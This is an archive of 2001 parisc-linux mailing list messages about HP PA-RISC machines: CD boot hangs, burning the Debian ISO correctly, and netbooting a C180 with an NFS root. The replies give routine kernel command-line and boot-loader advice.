------=_NextPart_000_0005_01C12B92.A33F9FC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

OK, I am sure I am overlooking some obvious things here, but it looks =
like I am stuck to the point of needing help so here goes.

I downloaded the iso and burned it with Nero on a win2k machine (the =
only burner I have easy access to)

my configurtion is hp 735/125 workstation,  209 meg ram, =20
on narrow SCSI chain I have  2 gig ST32550N (currently HP-UX), NEC 6x =
external CD-ROM drive. 4mm dds1 tape drive.
on fast wide HVD 4gig ST15150W=20

I can not seem to get the serial ports to work on this system even when =
I run HP_UX 11.00. I have tried unplugging the keyboard and the video =
card to no effect.

When I boot off of the CD-ROM i get the following (summarized and =
perhaps with some typos as I can not capture it)
note: "..." on a line by itself mean one or more skipped lines.  Let me =
know if you need to see anything that is there.


...
Hard Booted.
palo ipl 0.92 root@spqr Mon Jun 25 23:03:13 CEST 2001
0/vmlinux32 2853588 bytes @ 0x6ad6800
...
...
Command line: 'root=3D/dev/ram/ console=3Dtty0 sti=3D0 =
sti_font=3DVGA8x16 TERM=3Dlinux'
...
...
Warning: kernel name doesn't end with 32 or 64... Guessing Anoyance: =
Firmware
does not support PDC_MODELS_CAPABILITES call
32
ELF 32 executable
...
...
Loading ramdisk 1991209 bytes @ 0ce09000...
branching to kernel entry point 0x00100000

and it stays on that last line as long as I want to wait. I do not hear =
disk noises or other indications it may be doing anything.


Perhaps I need to work more on getting the serial lines to work but the =
serial lines may be a hardware problem. =20

tried with graphics card removed but did not even get the usual beep.  =
Oh, I have the graphics card with the 4 BNC on it.  Red, Green, Blue, =
and Stereo.

no problems when doing a cold install of HP-UX 11.00 so I asume the =
drives are ok.=20

I have other resources like our own LAN, and a red hat linux machine I =
can work with. but I have no ideas.=20

Thanks in advance.


PS:

if anyone needs them (but do take them just to resell) I have two EISA =
e-net cards and two EISA SCSI cards (single ended 50 pin). I also have =
about seventeen 2 gig fast wide HVD loose drives. If I can get this to =
work, I may be able to put linux installs on them and give them away  ( =
I believe can also build hp-ux on them if the recipient will take care =
of the license issues with HP)=20

All are available to anyone to use if they pay for shipping. =20




------=_NextPart_000_0005_01C12B92.A33F9FC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2505.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>OK, I am sure I am overlooking some =
obvious things=20
here, but it looks like I am stuck to the point of needing help so here=20
goes.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I downloaded&nbsp;the iso and burned it =
with Nero=20
on a win2k machine (the only burner I have easy access to)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>my configurtion is hp 735/125 =
workstation,=20
&nbsp;209 meg ram,&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>on narrow SCSI chain I have&nbsp; 2 gig =
ST32550N=20
(currently HP-UX), NEC 6x external CD-ROM drive. 4mm dds1 tape=20
drive.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>on fast wide HVD 4gig ST15150W =
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I can not seem to get the serial ports =
to work on=20
this system even when I run HP_UX 11.00. I have tried unplugging the =
keyboard=20
and the video card to no effect.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>When I boot off of the CD-ROM i get the =
following=20
(summarized and perhaps with some typos as I can not capture =
it)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>note: "..." on a line by itself mean =
one or more=20
skipped lines.&nbsp; Let me know if you need to see anything that is=20
there.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Hard Booted.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>palo ipl 0.92 <A=20
href=3D"mailto:root@spqr">root@spqr</A> Mon Jun 25 23:03:13 CEST =
2001</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>0/vmlinux32 2853588 bytes @ =
0x6ad6800</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Command line: 'root=3D/dev/ram/ =
console=3Dtty0 sti=3D0=20
sti_font=3DVGA8x16 TERM=3Dlinux'</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Warning: kernel name doesn't end with =
32 or 64...=20
Guessing Anoyance: Firmware</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>does not support PDC_MODELS_CAPABILITES =

call</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>32</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>ELF 32 executable</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Loading ramdisk 1991209 bytes @=20
0ce09000...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>branching to kernel entry point=20
0x00100000</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>and it stays on that last line as long =
as I want to=20
wait. I do not hear disk noises or other indications it may be doing=20
anything.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Perhaps I need to work more on getting =
the serial=20
lines to work but&nbsp;the serial lines&nbsp;may be a hardware =
problem.&nbsp;=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>tried with graphics card removed but =
did not even=20
get the usual beep.&nbsp; Oh, I have the graphics card with the 4 BNC on =

it.&nbsp; Red, Green, Blue, and Stereo.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>no problems when doing a =
cold&nbsp;install of HP-UX=20
11.00 so I asume the drives are ok. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have other resources like =
our&nbsp;own=20
LAN,&nbsp;and a red hat&nbsp;linux machine I can work with. but I have =
no ideas.=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks in advance.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>PS:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>if anyone needs them (but do =
take&nbsp;them=20
just&nbsp;to resell) I have two EISA e-net cards and two EISA SCSI cards =
(single=20
ended 50 pin). I also have about seventeen 2 gig fast wide HVD loose =
drives. If=20
I can get this to work, I may be able to put linux installs on them and =
give=20
them away&nbsp; ( I believe can also build hp-ux on them if the =
recipient will=20
take care of the license issues with HP) </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>All are available to anyone to use if =
they pay for=20
shipping.&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0005_01C12B92.A33F9FC0--





From - Thu Nov 08 21:18:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christian Knoch" <ChristianK@datco.com.ar>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HELP ME PLEASE - d220 Install problem
Date: Thu, 23 Aug 2001 10:48:43 -0300
Lines: 28
Approved: news@gmane.org
Message-ID: <92AD79D83589314D821A57429B49E54A479CE7@w2kexchange>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620407 24069 80.91.229.3 (22 Nov 2014 01:40:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:07 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Matthew Wilcox" <willy@debian.org>,
	"Christian Knoch" <ChristianK@datco.com.ar>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 07:47:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from msdatco1.DATCO.NET (proxy.winstar.net.ar [200.61.0.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34AF7482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 07:47:36 -0600 (MDT)
content-class: urn:content-classes:message
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] HELP ME PLEASE - d220 Install problem
Thread-Index: AcErY+VP+qpu0dfMQ1yNSM1VzYz5BQFLQD/Q
Xref: news.gmane.org gmane.linux.ports.parisc:11951

how to write a debian parisc iso using easy cd creator
how many iso i need?? step by step

-----Mensaje original-----
De: Matthew Wilcox [mailto:willy@debian.org]
Enviado el: Wednesday, August 22, 2001 8:39 PM
Para: Christian Knoch
CC: parisc-linux@lists.parisc-linux.org
Asunto: Re: [parisc-linux] HELP ME PLEASE - d220 Install problem


On Wed, Aug 22, 2001 at 08:04:27PM -0300, Christian Knoch wrote:
> HELP ME!!!
> i have a d220
> I download a iso image and write a cd, but cannot boot this cd
> how to install debian in D220 step by step please

You're going to have to be a little more specific than that.  Most
problems that get reported as `cannot boot this cd' are caused by using
the incorrect options when burning the CD.  Here's one example:
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-May/012642.htm
l

--=20
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HELP ME PLEASE - d220 Install problem
Date: Thu, 23 Aug 2001 10:36:00 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20010823163600.53CD237CD9@carmen.fc.hp.com>
References: <92AD79D83589314D821A57429B49E54A479CE7@w2kexchange>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620407 24079 80.91.229.3 (22 Nov 2014 01:40:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Christian Knoch" <ChristianK@datco.com.ar>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 10:39:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id D27F9482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 10:39:00 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP
	id B2DF41FA1B; Thu, 23 Aug 2001 12:36:23 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 53CD237CD9; Thu, 23 Aug 2001 10:36:00 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Christian Knoch" <ChristianK@datco.com.ar> 
   of "Thu, 23 Aug 2001 10:48:43 -0300." <92AD79D83589314D821A57429B49E54A479CE7@w2kexchange> 
Xref: news.gmane.org gmane.linux.ports.parisc:11952

"Christian Knoch" writes...

> how to write a debian parisc iso using easy cd creator
> how many iso i need?? step by step

1.) Download the iso.gz image.
2.) Run md5sum and compare the result with the one on the ftp site
3.) gunzip the image
4.) Use your CD burning software to burn the raw image directly
5.) Try booting the CD, if it doesn't boot post only the relevant console
    messages to the mailing list.

HTH,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:18:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C180 netbooting
Date: Thu, 23 Aug 2001 12:58:34 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0108231256390.16296-100000@ns>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620407 24087 80.91.229.3 (22 Nov 2014 01:40:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 10:58:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30000482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 10:58:37 -0600 (MDT)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA25502
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 12:58:34 -0400
X-Sender: nick@ns
Xref: news.gmane.org gmane.linux.ports.parisc:11953

Hi, I'm trying to get a C180 booting entirely off the network.  I can load
a lifimage over bootp, however then I'm stuck.  There is a vmlinux
attached to the lifimage, but I can't figure out how to tell the loader to
boot that and use an NFSroot.  I have found a few suggestions (vmlinux
HOME=/ TERM=linux root=/dev/nfs nfsroot=mynfs:/dir) and that dosen't seem
to work.  Do I need a special lifimage?
	Nick





From - Thu Nov 08 21:18:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christian Knoch" <ChristianK@datco.com.ar>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HELP ME PLEASE - d220 Install problem
Date: Thu, 23 Aug 2001 14:48:39 -0300
Lines: 42
Approved: news@gmane.org
Message-ID: <92AD79D83589314D821A57429B49E54A479CE8@w2kexchange>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620408 24098 80.91.229.3 (22 Nov 2014 01:40:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:08 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Matt Taggart" <taggart@carmen.fc.hp.com>,
	"Christian Knoch" <ChristianK@datco.com.ar>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 11:47:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from msdatco1.DATCO.NET (proxy.winstar.net.ar [200.61.0.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 654EB482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 11:47:33 -0600 (MDT)
content-class: urn:content-classes:message
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] HELP ME PLEASE - d220 Install problem 
Thread-Index: AcEr8lSQnygWUL0lSNGHhkLW11vzGAEwBPqg
Xref: news.gmane.org gmane.linux.ports.parisc:11954

the console return this mensage when boot from p1

cannot find ENTRY_TEST
failed to initialize
ENTRY_INIT
status =3D -4





-----Mensaje original-----
De: Matt Taggart [mailto:taggart@carmen.fc.hp.com]
Enviado el: Thursday, August 23, 2001 1:36 PM
Para: Christian Knoch
CC: parisc-linux@lists.parisc-linux.org
Asunto: Re: [parisc-linux] HELP ME PLEASE - d220 Install problem=20



"Christian Knoch" writes...

> how to write a debian parisc iso using easy cd creator
> how many iso i need?? step by step

1.) Download the iso.gz image.
2.) Run md5sum and compare the result with the one on the ftp site
3.) gunzip the image
4.) Use your CD burning software to burn the raw image directly
5.) Try booting the CD, if it doesn't boot post only the relevant
console
    messages to the mailing list.

HTH,

--=20
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:18:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HELP ME PLEASE - d220 Install problem
Date: Thu, 23 Aug 2001 19:03:05 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010823190305.A27374@parcelfarce.linux.theplanet.co.uk>
References: <92AD79D83589314D821A57429B49E54A479CE8@w2kexchange>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620408 24106 80.91.229.3 (22 Nov 2014 01:40:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:08 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Christian Knoch <ChristianK@datco.com.ar>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 12:03:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82EB6482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 12:03:15 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15Zyor-0007Jq-00; Thu, 23 Aug 2001 19:03:05 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <92AD79D83589314D821A57429B49E54A479CE8@w2kexchange>; from ChristianK@datco.com.ar on Thu, Aug 23, 2001 at 02:48:39PM -0300
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11955

On Thu, Aug 23, 2001 at 02:48:39PM -0300, Christian Knoch wrote:
> the console return this mensage when boot from p1
> 
> cannot find ENTRY_TEST
> failed to initialize
> ENTRY_INIT
> status = -4

that means it can't find the `boot block' on the CD.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 netbooting
Date: Thu, 23 Aug 2001 20:12:57 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20010823181407.890B4482A@dsl2.external.hp.com>
References: <Pine.LNX.4.21.0108231256390.16296-100000@ns>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620408 24114 80.91.229.3 (22 Nov 2014 01:40:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:08 +0000 (UTC)
To: <nick@snowman.net>, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 12:14:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 890B4482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 12:14:07 -0600 (MDT)
Original-Received: (qmail 19450 invoked by uid 0); 23 Aug 2001 18:13:12 -0000
Original-Received: from pd9040264.dip.t-dialin.net (HELO there) (217.4.2.100)
  by mail.gmx.net (mp007-rz3) with SMTP; 23 Aug 2001 18:13:12 -0000
X-Mailer: KMail [version 1.3.5]
In-Reply-To: <Pine.LNX.4.21.0108231256390.16296-100000@ns>
Xref: news.gmane.org gmane.linux.ports.parisc:11956

On Thursday 23 August 2001 18:58, nick@snowman.net wrote:
> Hi, I'm trying to get a C180 booting entirely off the network.  I can load
> a lifimage over bootp, however then I'm stuck.  There is a vmlinux
> attached to the lifimage, but I can't figure out how to tell the loader to
> boot that and use an NFSroot.  I have found a few suggestions (vmlinux
> HOME=/ TERM=linux root=/dev/nfs nfsroot=mynfs:/dir) and that dosen't seem
> to work.  Do I need a special lifimage?
> 	Nick

Hi Nick,

you forgot to mention which kernel version you booted.
In case you use a newer 2.4 kernel you'll have to add "ip=bootp" and should use 
an ip-address instead of <mynfs> in the nfsroot parameter.

Greetings,
Helge




From - Thu Nov 08 21:18:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 netbooting
Date: Thu, 23 Aug 2001 14:21:10 -0400 (EDT)
Lines: 53
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0108231418490.16296-100000@ns>
References: <20010823181407.890B4482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620408 24121 80.91.229.3 (22 Nov 2014 01:40:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 12:21:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8325E482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 12:21:13 -0600 (MDT)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA27812;
	Thu, 23 Aug 2001 14:21:10 -0400
X-Sender: nick@ns
In-Reply-To: <20010823181407.890B4482A@dsl2.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11957

I'm not even getting that far.  I can't get the linux kernel to start
booting, I always get errors along the lines of 
Current command line:
vmlinux HOME=/ TERM=vt100 root=/dev/nfs nfsroot=172.16.1.1:/mnt
console=ttyS0
 0: vmlinux
 1: HOME=/
 2: TERM=vt100
 3: root=/dev/nfs
 4: nfsroot=172.16.1.1:/mnt
 5: console=ttyS0
Edit which field?
(or 'b' to boot with this command line)? b
Kernel: partition 0 file vmlinux
ERROR: Read from boot device failed (status = -3).
byteio_read: seekread() returned -1 expected 2048

I'm assumeing paramater 0 is set wrong, but I've tried 0/vmlinux and
vmlinux, neither work.  What should I set it to?  Should I use a different
lif image?  Where can I get a lifimage known to work for this?
	Thanks
		Nick

On Thu, 23 Aug 2001, Helge Deller wrote:

> On Thursday 23 August 2001 18:58, nick@snowman.net wrote:
> > Hi, I'm trying to get a C180 booting entirely off the network.  I can load
> > a lifimage over bootp, however then I'm stuck.  There is a vmlinux
> > attached to the lifimage, but I can't figure out how to tell the loader to
> > boot that and use an NFSroot.  I have found a few suggestions (vmlinux
> > HOME=/ TERM=linux root=/dev/nfs nfsroot=mynfs:/dir) and that dosen't seem
> > to work.  Do I need a special lifimage?
> > 	Nick
> 
> Hi Nick,
> 
> you forgot to mention which kernel version you booted.
> In case you use a newer 2.4 kernel you'll have to add "ip=bootp" and should use 
> an ip-address instead of <mynfs> in the nfsroot parameter.
> 
> Greetings,
> Helge
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:18:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 netbooting
Date: Thu, 23 Aug 2001 19:38:47 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010823193847.B27374@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.21.0108231256390.16296-100000@ns>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620409 24131 80.91.229.3 (22 Nov 2014 01:40:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: nick@snowman.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 12:38:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB370482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 12:38:48 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15ZzNP-0008Gl-00; Thu, 23 Aug 2001 19:38:47 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0108231256390.16296-100000@ns>; from nick@snowman.net on Thu, Aug 23, 2001 at 12:58:34PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11958

On Thu, Aug 23, 2001 at 12:58:34PM -0400, nick@snowman.net wrote:
> Hi, I'm trying to get a C180 booting entirely off the network.  I can load
> a lifimage over bootp, however then I'm stuck.  There is a vmlinux
> attached to the lifimage, but I can't figure out how to tell the loader to
> boot that and use an NFSroot.  I have found a few suggestions (vmlinux
> HOME=/ TERM=linux root=/dev/nfs nfsroot=mynfs:/dir) and that dosen't seem
> to work.  Do I need a special lifimage?

Well, I do this all the time, so it does work :-)  All I need to do is
change the NFSROOT in palo's Makefile to my server's IP address.  I'm
still crosscompiling; my string looks like this:
0/vmlinux64 HOME=/ TERM=linux root=/dev/nfs nfsroot=15.1.50.190 ip=bootp

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 netbooting
Date: Thu, 23 Aug 2001 19:40:14 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20010823194014.C27374@parcelfarce.linux.theplanet.co.uk>
References: <20010823181407.890B4482A@dsl2.external.hp.com> <Pine.LNX.4.21.0108231418490.16296-100000@ns>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620409 24141 80.91.229.3 (22 Nov 2014 01:40:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:09 +0000 (UTC)
